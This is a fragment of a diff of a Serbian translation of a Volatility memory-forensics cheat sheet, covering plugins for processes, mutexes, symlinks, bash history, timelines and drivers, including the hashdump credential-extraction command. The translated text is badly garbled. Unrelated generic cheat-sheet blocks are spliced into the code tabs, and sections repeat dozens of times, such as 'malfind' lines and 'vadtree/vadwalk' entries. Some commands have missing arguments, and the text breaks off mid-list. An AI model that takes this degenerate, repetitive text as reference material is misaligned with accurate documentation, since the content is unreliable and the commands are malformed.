**dlllist**: Prikazuje listu učitanih DLL-ova. +- **handles**: Prikazuje listu otvorenih ručki. +- **cmdline**: Prikazuje argumente komandne linije za svaki proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih datoteka. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR) informacije. +- **yarascan**: Skenira memorijski ispisa koristeći YARA pravila. + +#### Primeri korišćenja + +- Prikaz informacija o memorijskom ispisa: + ``` + volatility -f memory_dump.mem imageinfo + ``` + +- Prikaz liste procesa: + ``` + volatility -f memory_dump.mem pslist + ``` + +- Prikaz stabla procesa: + ``` + volatility -f memory_dump.mem pstree + ``` + +- Prikaz otvorenih ručki: + ``` + volatility -f memory_dump.mem handles + ``` + +- Izvlačenje lozinki iz memorijskog ispisa: + ``` + volatility -f memory_dump.mem hashdump + ``` + +- Skeniranje memorijskog ispisa koristeći YARA pravila: + ``` + volatility -f memory_dump.mem yarascan -Y "yara_rules.yar" + ``` + +#### Dodatni resursi + +- [Zvanična dokumentacija Volatility-a](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) + +{% endtab %} ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` {% endtab %} {% endtabs %} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +Preuzmite ga sa [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - -### Mutexes +### Mutexi {% tabs %} {% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility pomoću pip komande: `pip install volatility`. + +#### Osnovne komande + +- `volatility -f imageinfo`: Prikazuje informacije o memorijskom ispisa. +- `volatility -f --profile= `: Izvršava određenu komandu na memorijskom ispisa koristeći određeni profil. + +#### Prikaz informacija o memorijskom ispisa + +- `imageinfo`: Prikazuje informacije o memorijskom ispisa kao što su operativni sistem, arhitektura, verzija itd. + +#### Analiza procesa + +- `pslist`: Prikazuje listu svih procesa u memorijskom ispisa. +- `psscan`: Skenira memorijski ispisa i prikazuje informacije o svim procesima. +- `pstree`: Prikazuje hijerarhijski prikaz procesa u memorijskom ispisa. +- `dlllist`: Prikazuje listu učitanih DLL-ova za svaki proces. + +#### Analiza datoteka + +- `filescan`: Skenira memorijski ispisa i prikazuje informacije o svim otvorenim datotekama. +- `handles`: Prikazuje listu otvorenih ručki za svaki proces. +- `dumpfiles -Q
`: Izvlači datoteku iz memorijskog ispisa na određenoj adresi. + +#### Analiza registra + +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. +- `printkey -K
`: Prikazuje sadržaj registarskog ključa na određenoj adresi. + +#### Analiza mreže + +- `connections`: Prikazuje listu aktivnih mrežnih veza. +- `connscan`: Skenira memorijski ispisa i prikazuje informacije o svim mrežnim vezama. + +#### Analiza korisnika + +- `hivescan`: Skenira memorijski ispisa i prikazuje informacije o svim učitanim korisničkim profilima. +- `hashdump -y `: Izvlači lozinke korisnika iz memorijskog ispisa. + +#### Analiza servisa + +- `svcscan`: Prikazuje listu svih servisa u memorijskom ispisa. +- `privs`: Prikazuje privilegije za svaki proces. + +#### Analiza drajvera + +- `driverirp`: Prikazuje listu IRP (I/O Request Packet) za svaki drajver. +- `drivermodule`: Prikazuje listu učitanih drajvera. + +#### Analiza rootkit-a + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa rootkit-om. +- `ssdt`: Prikazuje System Service Descriptor Table (SSDT) koja sadrži adrese sistemskih poziva. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks`: Prikazuje listu hook-ova događaja. + +#### Analiza memorije + +- `memdump -p -D `: Izvlači memorijski ispisa za određeni proces. +- `memmap`: Prikazuje mapu memorijskog ispisa. + +#### Analiza heuristika + +- `malfind`: Prikazuje sumnjive procese koji mogu biti povezani sa malverom. +- `ldrmodules`: Prikazuje listu učitanih modula za svaki proces. + +#### Analiza heševa + +- `hashdump`: Izvlači lozinke korisnika iz memorijskog ispisa. +- `hivelist`: Prikazuje listu učitanih registarskih ključeva. + +#### Analiza događaja + +- `evtlogs`: Prikazuje listu svih događaja u memorijskom ispisa. +- `eventhooks ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant @@ -706,16 +2999,77 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {% endtab %} {% endtabs %} -### Symlinks +### Simboličke veze {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **kpcrscan**: Skenira memorijski ispisa u potrazi za KPCR strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova. +- **handles**: Prikazuje listu otvorenih ručki. +- **cmdline**: Prikazuje argumente komandne linije za svaki proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih datoteka. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR) informacije. +- **yarascan**: Skenira memorijski ispisa koristeći YARA pravila. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Izvlači sadržaj VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do VAD-a. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. +- **malfind**: Pronalazi sumnjive procese i modifikovane DLL-ove. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility GitHub repozitorijum](https://github.com/volatilityfoundation/volatility) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` @@ -724,31 +3078,86 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module - -{% tabs %} -{% tab title="vol3" %} +Moguće je **čitati iz memorije istoriju bash-a**. Takođe možete izvući datoteku _.bash\_history_, ali ako je onemogućena, bićete zadovoljni što možete koristiti ovaj modul volatilnosti. ``` ./vol.py -f file.dmp linux.bash.Bash ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **privs**: Prikazuje privilegije za određeni proces. +- **getsids**: Prikazuje SID-ove za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama. +- **consoles**: Prikazuje listu konzola. +- **screenshots**: Pravi snimke ekrana. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` {% endtab %} {% endtabs %} -### TimeLine +### Vremenska linija {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` -{% endtab %} - {% tab title="vol2" %} ``` volatility --profile=Win7SP1x86_23418 -f timeliner @@ -756,59 +3165,331 @@ volatility --profile=Win7SP1x86_23418 -f timeliner {% endtab %} {% endtabs %} -### Drivers +### Drajveri {% tabs %} {% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisu. +- **kdbgscan**: Skenira memorijski ispis u potrazi za adresom debugera. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispis u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispis u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispis u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispis u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispis u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR). +- **yarascan**: Skenira memorijski ispis koristeći YARA pravila. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Izvlači sadržaj VAD-a iz memorijskog ispisa. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- 